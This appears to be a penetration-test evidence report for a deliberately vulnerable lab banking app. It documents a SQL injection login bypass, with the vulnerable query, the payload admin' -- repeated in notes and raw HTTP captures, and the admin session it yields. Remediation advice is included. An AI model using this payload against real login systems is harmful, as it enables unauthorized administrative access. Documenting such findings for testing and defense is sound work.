Test case 16 / 26FAIL
SQL Injection - Authentication - Login Bypass
Lab environment — not a production system
Screenshots and raw traffic are not translated; text within them may be in another language.
vuln-bank/Evidence/[FAIL] SQL Injection - Authentication - Login Bypass
01 — Notes
Test notes
Vulnerability
[FAIL] SQL Injection - Authentication - Login Bypass
Description
The /login endpoint builds its SQL query with an f-string that interpolates the raw username and password without parameterization: SELECT * FROM users WHERE username='{username}' AND password='{password}'. An attacker closes the string literal and comments out the rest of the query so the password check is skipped entirely.
Impact
Confidentiality + Integrity (Critical): authentication can be bypassed without knowing the password. The payload admin' -- grants a full administrator session with a JWT carrying is_admin true, opening the admin panel and every administrative function (delete accounts, create new admins, approve loans).
CWE
CWE-89: Improper Neutralization of Special Elements used in an SQL Command
OWASP
A03:2021 - Injection
Scenario
Normal: logging in with one's own valid credentials yields a non-admin token. Exploitation: the username is set to admin' -- with an arbitrary password -> the query becomes SELECT * FROM users WHERE username='admin' -- ' AND password='anything' so the password condition is commented out. Impact: the admin token is used to open the administrative panel.
Endpoint
POST http://127.0.0.1:5001/login
Affected feature
User authentication (web login form and API login)
Remediation
- Use parameterized queries/prepared statements for all database access; never build SQL with f-strings or concatenation.
- Store passwords as salted hashes (bcrypt/argon2) and compare hashes instead of matching passwords in the WHERE clause.
- Apply a character allow-list to the username input.
- Do not return query details or raw user objects in responses.
Proof of concept
1) (Screenshot 1) NORMAL: log in with pentest_attacker's valid credentials -> non-admin token, is_admin false.
2) (Screenshot 2) EXPLOITATION: username admin' -- with password anything -> login succeeds as admin, is_admin true.
3) (Screenshot 3) CIA IMPACT: the injected token is used to access /sup3r_s3cr3t_admin -> HTTP 200, the administrative panel opens.
View source note (English)
Vulnerability:
[FAIL] SQL Injection - Authentication - Login Bypass
Description:
The /login endpoint builds its SQL query with an f-string that interpolates the raw username and password without parameterization: SELECT * FROM users WHERE username='{username}' AND password='{password}'. An attacker closes the string literal and comments out the rest of the query so the password check is skipped entirely.
Impact:
Confidentiality + Integrity (Critical): authentication can be bypassed without knowing the password. The payload admin' -- grants a full administrator session with a JWT carrying is_admin true, opening the admin panel and every administrative function (delete accounts, create new admins, approve loans).
CWE:
CWE-89: Improper Neutralization of Special Elements used in an SQL Command
OWASP:
A03:2021 - Injection
Scenario:
Normal: logging in with one's own valid credentials yields a non-admin token. Exploitation: the username is set to admin' -- with an arbitrary password -> the query becomes SELECT * FROM users WHERE username='admin' -- ' AND password='anything' so the password condition is commented out. Impact: the admin token is used to open the administrative panel.
Endpoint:
POST http://127.0.0.1:5001/login
Affected Feature:
User authentication (web login form and API login)
Remediation:
- Use parameterized queries/prepared statements for all database access; never build SQL with f-strings or concatenation.
- Store passwords as salted hashes (bcrypt/argon2) and compare hashes instead of matching passwords in the WHERE clause.
- Apply a character allow-list to the username input.
- Do not return query details or raw user objects in responses.
POC:
1) (Screenshot 1) NORMAL: log in with pentest_attacker's valid credentials -> non-admin token, is_admin false.
2) (Screenshot 2) EXPLOITATION: username admin' -- with password anything -> login succeeds as admin, is_admin true.
3) (Screenshot 3) CIA IMPACT: the injected token is used to access /sup3r_s3cr3t_admin -> HTTP 200, the administrative panel opens.
02 — Screenshots
Screenshots (3)
03 — Requests and responses
HTTP captures
Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.
CAPTURE 01 / 1
POST /login HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 59
Content-Type: application/json
{"username": "pentest_attacker", "password": "[REDACTED-LAB-VALUE]"}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 503
Set-Cookie: token=[REDACTED-LAB-TOKEN]; HttpOnly; Path=/
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:08 GMT
{
"accountNumber": "0932191785",
"debug_info": {
"account_number": "0932191785",
"is_admin": false,
"login_time": "2026-09-30 02:58:08.573428",
"user_id": 2,
"username": "pentest_attacker"
},
"isAdmin": false,
"message": "Login successful",
"status": "success",
"token": "[REDACTED-LAB-VALUE]"
}CAPTURE 02 / 2
POST /login HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 50
Content-Type: application/json
{"username": "admin' -- ", "password": "[REDACTED-LAB-VALUE]"}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 470
Set-Cookie: token=[REDACTED-LAB-TOKEN]; HttpOnly; Path=/
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:10 GMT
{
"accountNumber": "ADMIN001",
"debug_info": {
"account_number": "ADMIN001",
"is_admin": true,
"login_time": "2026-09-30 02:58:10.334952",
"user_id": 1,
"username": "admin"
},
"isAdmin": true,
"message": "Login successful",
"status": "success",
"token": "[REDACTED-LAB-VALUE]"
}CAPTURE 03 / 3
GET /sup3r_s3cr3t_admin HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 43060
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:11 GMT
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Admin Panel - VulnBank</title>
<link rel="icon" type="image/svg+xml" href="/static/favicon.svg">
<link rel="icon" type="image/svg+xml" href="/static/favicon-16.svg" sizes="16x16">
<link rel="stylesheet" href="/static/style.css">
<link rel="stylesheet" href="/static/admin.css">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script>document.documentElement.setAttribute("data-theme", localStorage.getItem("vb-theme") || "light");</script>
</head>
<body>
<a href="#main-content" class="skip-link">Skip to main content</a>
<div class="admin-layout">
<!-- Sidebar -->
<aside class="admin-sidebar">
<div class="sidebar-header">
<div class="sidebar-logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M12 2v20M17 5H9.5a3.5 3.5 0 0 0 0 7h5a3.5 3.5 0 0 1 0 7H6"></path>
</svg>
<span class="sidebar-logo-text">VulnBank</span>
<span class="sidebar-badge">Admin</span>
</div>
</div>
<nav class="sidebar-nav">
<a href="#overview" class="sidebar-nav-item active" data-section="overview">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<rect x="3" y="3" width="7" height="7"></rect>
<rect x="14" y="3" width="7" height="7"></rect>
<rect x="14" y="14" width="7" height="7"></rect>
<rect x="3" y="14" width="7" height="7"></rect>
</svg>
<span>Overview</span>
</a>
<a href="#users" class="sidebar-nav-item" data-section="users">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"></path>
<circle cx="9" cy="7" r="4"></circle>
<path d="M23 21v-2a4 4 0 0 0-3-3.87"></path>
<path d="M16 3.13a4 4 0 0 1 0 7.75"></path>
</svg>
<span>Users</span>
</a>
<a href="#loans" class="sidebar-nav-item" data-section="loans">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<rect x="2" y="7" width="20" height="14" rx="2" ry="2"></rect>
<path d="M16 21V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v16"></path>
</svg>
<span>Loans</span>
</a>
<a href="#settings" class="sidebar-nav-item" data-section="settings">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<circle cx="12" cy="12" r="3"></circle>
<path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0-9 19.4a1.65 1.65 0 0 0-1 1.51 1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0 .33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z"></path>
</svg>
<span>Settings</span>
</a>
</nav>
<div class="sidebar-footer">
<a href="/dashboard" class="sidebar-back-link">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<line x1="19" y1="12" x2="5" y2="12"></line>
<polyline points="12 19 5 12 12 5"></polyline>
</svg>
<span>Back to Dashboard</span>
</a>
<button class="theme-toggle-sidebar" onclick="toggleTheme()" aria-label="Toggle dark mode">
<span class="toggle-icon toggle-icon-sun">☀️</span>
<span class="toggle-icon toggle-icon-moon">🌙</span>
</button>
</div>
</aside>
<!-- Main Content -->
<main class="admin-main" id="main-content">
<!-- Top Bar -->
<header class="admin-topbar">
<h1 class="admin-page-title">Overview</h1>
<div class="admin-profile-mini">
<span class="admin-name">System Administrator</span>
<img src="/static/uploads/admin.png" alt="Admin">
</div>
</header>
<!-- Messages -->
<div id="message" aria-live="polite"></div>
<!-- Overview Section -->
<section class="admin-section" id="overview-section">
<div class="section-header">
<h2>Transaction Analytics</h2>
<p class="section-subt
[... 37049 more bytes not shown ...]